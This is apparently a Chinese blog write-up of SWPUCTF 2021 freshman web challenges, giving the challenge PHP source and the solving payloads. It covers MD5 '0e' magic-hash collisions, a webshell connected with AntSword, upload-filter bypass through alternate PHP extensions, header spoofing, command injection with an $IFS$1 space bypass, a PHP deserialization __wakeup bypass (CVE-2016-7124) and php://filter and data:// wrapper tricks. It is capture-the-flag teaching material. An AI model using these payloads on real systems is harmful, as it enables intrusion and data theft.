SWPUCTF 2021 新生赛

文章发布时间:

最后更新时间:

文章总字数:
1.9k

预计阅读时间:
9 分钟

这篇用来记录SWPUCTF 2021 新生赛web刷题记录

gift_F12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<script language="javascript">
function show_date_time() {
flag = "WLLMCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}"//flag is here
window.setTimeout("show_date_time()", 1000);
BirthDay = new Date("10/23/2021 00:00:00");
today = new Date();
timeold = (BirthDay.getTime() - today.getTime());
sectimeold = timeold / 1000
secondsold = Math.floor(sectimeold);
msPerDay = 24 * 60 * 60 * 1000
e_daysold = timeold / msPerDay
daysold = Math.floor(e_daysold);
e_hrsold = (e_daysold - daysold) * 24;
hrsold = Math.floor(e_hrsold);
e_minsold = (e_hrsold - hrsold) * 60;
minsold = Math.floor((e_hrsold - hrsold) * 60);
seconds = Math.floor((e_minsold - minsold) * 60);
span_dt_dt.innerHTML = "还有:"+ daysold + "天 " + hrsold + "小时 " + minsold + "分钟 " + seconds + "秒 ";
}
show_date_time();
</script>

查看网页源码后找到flag

jicao

1
2
3
4
5
6
7
8
9

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

打开靶机后 给了一段源码

id需要post传参 x需要json传参

json传参格式 {“name”:”test”}

zkHk5Q.png

成功得到flag

easy_md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
highlight_file(__FILE__);
include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}

}
else {
echo 'wrong!';
}
?>

明文需要不同 但是密文需要相同

因为这里是松散比较 所以有两种办法

1.使用带0e开头的数字穿进行传递参数,因为php会将0e开头的数字转化为0,故此时md5值相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708
0e462097431906509019562988736854
314282422

这种办法当遇到’===’就会失效

2.md5不能加密数组,md5加密数组会返回null

(5条消息) PHP弱类型_ChanCherry、的博客-CSDN博客_php弱类型

caidao

打开后 直接就显示出来了一句话木马 知道了密码以后就可以用蚁剑连接终端 然后在根目录下获得flag

zEM7RS.png

easyrce

1
2
3

<?php
?>

随后我们利用burp来抓包

znAzcQ.png

修改文件后缀名为php

随后结束抓包 我们利用蚁剑连接后台

1
2

http://1.14.71.254:28963/upload/1.php //这里的后缀名比较讲究

znELr9.png

但是发现这是个静态flag 很显然是错误的 因为通常的靶机都是使用uuid进行动态flag的生成

所以这里我们要想到去查看环境变量中的flag

即phpinfo()

1
2
3

payload = http://1.14.71.254:28963/upload/1.php
post: shell=phpinfo();

znVuRS.png

成功找到flag

Do_you_know_http

打开靶机后 网页显示: Please use ‘WLLM’ browser!

让我们使用WLLM这个浏览器 很明显没有这个浏览器 那我们可以通过burp修改User-Agent这一项参数

其是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。

img

当我们修改完后send 提示说success说明修改成功 然后在location下我们发现了一个新的页面 a.php 跟进一下

img

提示说需要我们用本地的ip访问 即127.0.0.1

于是我们在request中添加一段

1
2

x-forwarded-for:127.0.0.1

img

可以发现成功了 在location出现了一个新的php 访问后发现flag

babyrce

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

用burp来使admin=1

得到了一个关键网页 rasalghul.php 跟进一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /"$ip)){
      die('nonono');
  }
  $a shell_exec($ip);
  echo $a;
}
?>

屏蔽了空格 用get给url传参 这个参数会被执行

那这里就用$IFS$1替代空格就好了

1
payload = url=cat$IFS$1/f*

no_wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee $_GET['p'];
unserialize($Letmeseesee);

?>

调用了_wakeup函数 是cve漏洞CVE-2016-7124

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

编写一下序列化脚本:

1
2
3
4
5
6
7
8
<?php
class HaHaHa{
public $admin='admin';
public $passwd='wllm';
}
$p = new HaHaHa();
echo serialize($p);
?>
1
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

将a后面的2修改成大于其值的数

1
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

成功得到flag

ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>ez_unserialize</title>
</head>
<body>
<div class="container" style="margin-top:100px">
<form class="well" style="width:220px;margin:0px auto;">
<img src="./hutao.GIF" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>咦?题目在哪捏?</h3>
</form>
</div>
</body>
</html>

<!--
User-agent: *
Disallow: 什么东西呢?
-->

主体部分没有什么值得关注的 这里看一下注释部分 user_agent:和disallow 是robots协议的特征

https://blog.csdn.net/qq_53221728/article/details/122909592

查看一下robots.txt

1
2
User-agent: *
Disallow: /cl45s.php

发现了一个新的网页 跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p $_GET['p'];
unserialize($p);

?>

跟上题一样 也是反序列化漏洞 百度一下__construct有什么漏洞可以利用

(5条消息) php反序列化construct绕过,PHP反序列化漏洞_weixin_39824801的博客-CSDN博客

(5条消息) php反序列化construct绕过,PHP反序列化漏洞(1)_weixin_39730801的博客-CSDN博客

可知__construct函数是对象创建时调用 那么我们正常序列化admin和passwd就行

1
2
3
4
5
6
7
8
<?php
class wllm{
public $admin='admin';
public $passwd='ctf';
}
$p = new wllm();
echo serialize($p);
?>
1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

成功得到flag

easyupload2.0

和1.0那一题大差不差 这题把php文件后缀做了检测

禁止上传php文件

但是发现php文件扩展名还是可以上传成功的

1
php3,php5,pht,phtml,phps

PseudoProtocols

题目初始界面

1
hint is hear Can you find out the hint.php?

然后看到url是

1
http://1.14.71.254:28411/index.php?wllm=

还不知道wllm有什么用 先进去hint.php看一看提示

结果为空 结合题目描述 应该是file伪协议

1
wllm=php://filter/convert.base64-encode/resource=hint.php

得到一串base64编码 解码后得到

1
2
3
<?php
//go to /test2222222222222.php
?>

跟进一下这个页面

1
2
3
4
5
6
7
8
9
10
 <?php
ini_set("max_execution_time""180");
show_source(__FILE__);
include('flag.php');
$a$_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

file_get_contents这个函数是把文件r读入字符串

这里有两种办法

1.php://input

https://blog.csdn.net/sunsineq/article/details/105371129

他相当于强行以post的办法读入任意内容到a中

2.data://

data本身是数据封装器 以get的方式传参

1
http://1.14.71.254:28411/test2222222222222.php?a=data://text/plain,I want flag